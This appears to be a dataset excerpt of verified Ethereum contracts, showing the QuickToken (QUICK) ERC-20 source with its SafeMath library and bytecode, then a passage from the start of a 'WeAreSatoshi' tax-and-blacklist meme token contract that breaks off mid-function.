* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract QuickToken {
/// @notice EIP-20 token name for this token
string public constant name = "Quickswap";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "QUICK";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public totalSupply = 10000000000000000000000000; // 1 million QUICK
/// @notice Address which may mint new tokens
address public minter;
/// @notice The timestamp after which minting may occur
uint public mintingAllowedAfter;
/// @notice Minimum time between mints
uint32 public constant minimumTimeBetweenMints = 1 days * 365;
/// @notice Cap on the percentage of totalSupply that can be minted at each mint
uint8 public constant mintCap = 2;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice An event thats emitted when the minter address is changed
event MinterChanged(address minter, address newMinter);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Quick token
* @param account The initial account to grant all the tokens
* @param minter_ The account with minting ability
* @param mintingAllowedAfter_ The timestamp after which minting may occur
*/
constructor(address account, address minter_, uint mintingAllowedAfter_) public {
require(mintingAllowedAfter_ >= block.timestamp, "Quick::constructor: minting can only begin after deployment");
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
minter = minter_;
emit MinterChanged(address(0), minter);
mintingAllowedAfter = mintingAllowedAfter_;
}
/**
* @notice Change the minter address
* @param minter_ The address of the new minter
*/
function setMinter(address minter_) external {
require(msg.sender == minter, "Quick::setMinter: only the minter can change the minter address");
emit MinterChanged(minter, minter_);
minter = minter_;
}
/**
* @notice Mint new tokens
* @param dst The address of the destination account
* @param rawAmount The number of tokens to be minted
*/
function mint(address dst, uint rawAmount) external {
require(msg.sender == minter, "Quick::mint: only the minter can mint");
require(block.timestamp >= mintingAllowedAfter, "Quick::mint: minting not allowed yet");
require(dst != address(0), "Quick::mint: cannot transfer to the zero address");
// record the mint
mintingAllowedAfter = SafeMath.add(block.timestamp, minimumTimeBetweenMints);
// mint the amount
uint96 amount = safe96(rawAmount, "Quick::mint: amount exceeds 96 bits");
require(amount <= SafeMath.div(SafeMath.mul(totalSupply, mintCap), 100), "Quick::mint: exceeded mint cap");
totalSupply = safe96(SafeMath.add(totalSupply, amount), "Quick::mint: totalSupply exceeds 96 bits");
// transfer the amount to the recipient
balances[dst] = add96(balances[dst], amount, "Quick::mint: transfer amount overflows");
emit Transfer(address(0), dst, amount);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Quick::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Quick::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Quick::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Quick::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Quick::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Quick::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Quick::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Quick::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806340c10f191161009757806395d89b411161006657806395d89b4114610278578063a9059cbb14610296578063dd62ed3e146102c6578063fca3b5aa146102f6576100f5565b806340c10f19146101f05780635c11d62f1461020c57806370a082311461022a57806376c71ca11461025a576100f5565b806318160ddd116100d357806318160ddd1461016657806323b872dd1461018457806330b36cef146101b4578063313ce567146101d2576100f5565b806306fdde03146100fa5780630754617214610118578063095ea7b314610136575b600080fd5b610102610312565b60405161010f9190611963565b60405180910390f35b61012061034b565b60405161012d9190611904565b60405180910390f35b610150600480360361014b91908101906114b2565b610371565b60405161015d9190611948565b60405180910390f35b61016e610504565b60405161017b9190611ac7565b60405180910390f35b61019e60048036036101999190810190611463565b61050a565b6040516101ab9190611948565b60405180910390f35b6101bc61079e565b6040516101c99190611ac7565b60405180910390f35b6101da6107a4565b6040516101e79190611afd565b60405180910390f35b61020a600480360361020591908101906114b2565b6107a9565b005b610214610b39565b6040516102219190611ae2565b60405180910390f35b610244600480360361023f91908101906113fe565b610b41565b6040516102519190611ac7565b60405180910390f35b610262610bb0565b60405161026f9190611afd565b60405180910390f35b610280610bb5565b60405161028d9190611963565b60405180910390f35b6102b060048036036102ab91908101906114b2565b610bee565b6040516102bd9190611948565b60405180910390f35b6102e060048036036102db9190810190611427565b610c2b565b6040516102ed9190611ac7565b60405180910390f35b610310600480360361030b91908101906113fe565b610cd8565b005b6040518060400160405280600981526020017f517569636b73776170000000000000000000000000000000000000000000000081525081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156103c4577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90506103e9565b6103e683604051806060016040528060268152602001611cb060269139610e07565b90505b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516104f19190611b18565b60405180910390a3600191505092915050565b60005481565b6000803390506000600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006105cd85604051806060016040528060268152602001611cb060269139610e07565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561064757507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b1561078557600061067183836040518060600160405280603e8152602001611d25603e9139610e65565b905080600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161077b9190611b18565b60405180910390a3505b610790878783610ed6565b600193505050509392505050565b60025481565b601281565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610839576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083090611a07565b60405180910390fd5b60025442101561087e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087590611a47565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e5906119c7565b60405180910390fd5b610902426301e1338063ffffffff166111ee565b600281905550600061092c82604051806060016040528060238152602001611c8d60239139610e07565b9050610948610941600054600260ff16611243565b60646112b3565b816bffffffffffffffffffffffff161115610998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098f90611a27565b60405180910390fd5b6109d36109b5600054836bffffffffffffffffffffffff166111ee565b604051806060016040528060288152602001611cd660289139610e07565b6bffffffffffffffffffffffff16600081905550610a61600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060268152602001611d63602691396112fd565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b2c9190611b18565b60405180910390a3505050565b6301e1338081565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b600281565b6040518060400160405280600581526020017f515549434b00000000000000000000000000000000000000000000000000000081525081565b600080610c1383604051806060016040528060278152602001611cfe60279139610e07565b9050610c20338583610ed6565b600191505092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5f906119a7565b60405180910390fd5b7f3b0007eb941cf645526cbb3a4fdaecda9d28ce4843167d9263b536a1f1edc0f6600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051610dbb92919061191f565b60405180910390a180600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006c0100000000000000000000000083108290610e5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e529190611985565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff1611158290610ec9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec09190611985565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3d90611a67565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fad90611aa7565b60405180910390fd5b611030600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060378152602001611d8960379139610e65565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611117600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060318152602001611c5c603191396112fd565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111e19190611b18565b60405180910390a3505050565b600080828401905083811015611239576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611230906119e7565b60405180910390fd5b8091505092915050565b60008083141561125657600090506112ad565b600082840290508284828161126757fe5b04146112a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129f90611a87565b60405180910390fd5b809150505b92915050565b60006112f583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611373565b905092915050565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff1610158390611367576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135e9190611985565b60405180910390fd5b50809150509392505050565b600080831182906113ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b19190611985565b60405180910390fd5b5060008385816113c657fe5b049050809150509392505050565b6000813590506113e381611c2d565b92915050565b6000813590506113f881611c44565b92915050565b60006020828403121561141057600080fd5b600061141e848285016113d4565b91505092915050565b6000806040838503121561143a57600080fd5b6000611448858286016113d4565b9250506020611459858286016113d4565b9150509250929050565b60008060006060848603121561147857600080fd5b6000611486868287016113d4565b9350506020611497868287016113d4565b92505060406114a8868287016113e9565b9150509250925092565b600080604083850312156114c557600080fd5b60006114d3858286016113d4565b92505060206114e4858286016113e9565b9150509250929050565b6114f781611b5a565b82525050565b61150681611b6c565b82525050565b600061151782611b3e565b6115218185611b49565b9350611531818560208601611be9565b61153a81611c1c565b840191505092915050565b600061155082611b33565b61155a8185611b49565b935061156a818560208601611be9565b61157381611c1c565b840191505092915050565b600061158b603f83611b49565b91507f517569636b3a3a7365744d696e7465723a206f6e6c7920746865206d696e746560008301527f722063616e206368616e676520746865206d696e7465722061646472657373006020830152604082019050919050565b60006115f1603083611b49565b91507f517569636b3a3a6d696e743a2063616e6e6f74207472616e7366657220746f2060008301527f746865207a65726f2061646472657373000000000000000000000000000000006020830152604082019050919050565b6000611657601b83611b49565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000611697602583611b49565b91507f517569636b3a3a6d696e743a206f6e6c7920746865206d696e7465722063616e60008301527f206d696e740000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006116fd601e83611b49565b91507f517569636b3a3a6d696e743a206578636565646564206d696e742063617000006000830152602082019050919050565b600061173d602483611b49565b91507f517569636b3a3a6d696e743a206d696e74696e67206e6f7420616c6c6f77656460008301527f20796574000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006117a3603d83611b49565b91507f517569636b3a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207460008301527f72616e736665722066726f6d20746865207a65726f20616464726573730000006020830152604082019050919050565b6000611809602183611b49565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061186f603b83611b49565b91507f517569636b3a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207460008301527f72616e7366657220746f20746865207a65726f206164647265737300000000006020830152604082019050919050565b6118d181611b98565b82525050565b6118e081611ba2565b82525050565b6118ef81611bb2565b82525050565b6118fe81611bd7565b82525050565b600060208201905061191960008301846114ee565b92915050565b600060408201905061193460008301856114ee565b61194160208301846114ee565b9392505050565b600060208201905061195d60008301846114fd565b92915050565b6000602082019050818103600083015261197d8184611545565b905092915050565b6000602082019050818103600083015261199f818461150c565b905092915050565b600060208201905081810360008301526119c08161157e565b9050919050565b600060208201905081810360008301526119e0816115e4565b9050919050565b60006020820190508181036000830152611a008161164a565b9050919050565b60006020820190508181036000830152611a208161168a565b9050919050565b60006020820190508181036000830152611a40816116f0565b9050919050565b60006020820190508181036000830152611a6081611730565b9050919050565b60006020820190508181036000830152611a8081611796565b9050919050565b60006020820190508181036000830152611aa0816117fc565b9050919050565b60006020820190508181036000830152611ac081611862565b9050919050565b6000602082019050611adc60008301846118c8565b92915050565b6000602082019050611af760008301846118d7565b92915050565b6000602082019050611b1260008301846118e6565b92915050565b6000602082019050611b2d60008301846118f5565b92915050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b6000611b6582611b78565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000611be282611bbf565b9050919050565b60005b83811015611c07578082015181840152602081019050611bec565b83811115611c16576000848401525b50505050565b6000601f19601f8301169050919050565b611c3681611b5a565b8114611c4157600080fd5b50565b611c4d81611b98565b8114611c5857600080fd5b5056fe517569636b3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773517569636b3a3a6d696e743a20616d6f756e7420657863656564732039362062697473517569636b3a3a617070726f76653a20616d6f756e7420657863656564732039362062697473517569636b3a3a6d696e743a20746f74616c537570706c7920657863656564732039362062697473517569636b3a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473517569636b3a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365517569636b3a3a6d696e743a207472616e7366657220616d6f756e74206f766572666c6f7773517569636b3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a365627a7a7231582078561d3e7dbd1832bebd61fd1ce9d6882285633a0eae4e6fac3afdcd2643328a6c6578706572696d656e74616cf564736f6c63430005110040 | {"success": true, "error": null, "results": {}} | 128 |
0xa010e37405eb57437a381daae88e5c3913d0796c | //Twitter: https://twitter.com/weare_satoshi
//Website: https://wearesatoshi.dev/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WeAreSatoshi is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "WeAreSatoshi";
string private constant _symbol = "SATS";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 21000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x3d072376EcD1D64dC3bDdCe66086EA1F5b5b161e);
address payable private _marketingAddress = payable(0x3d072376EcD1D64dC3bDdCe66086EA1F5b5b161e);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000 * 10**9;
uint256 public _maxWalletSize = 210000 * 10**9;
uint256 public _swapTokensAtAmount = 210 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
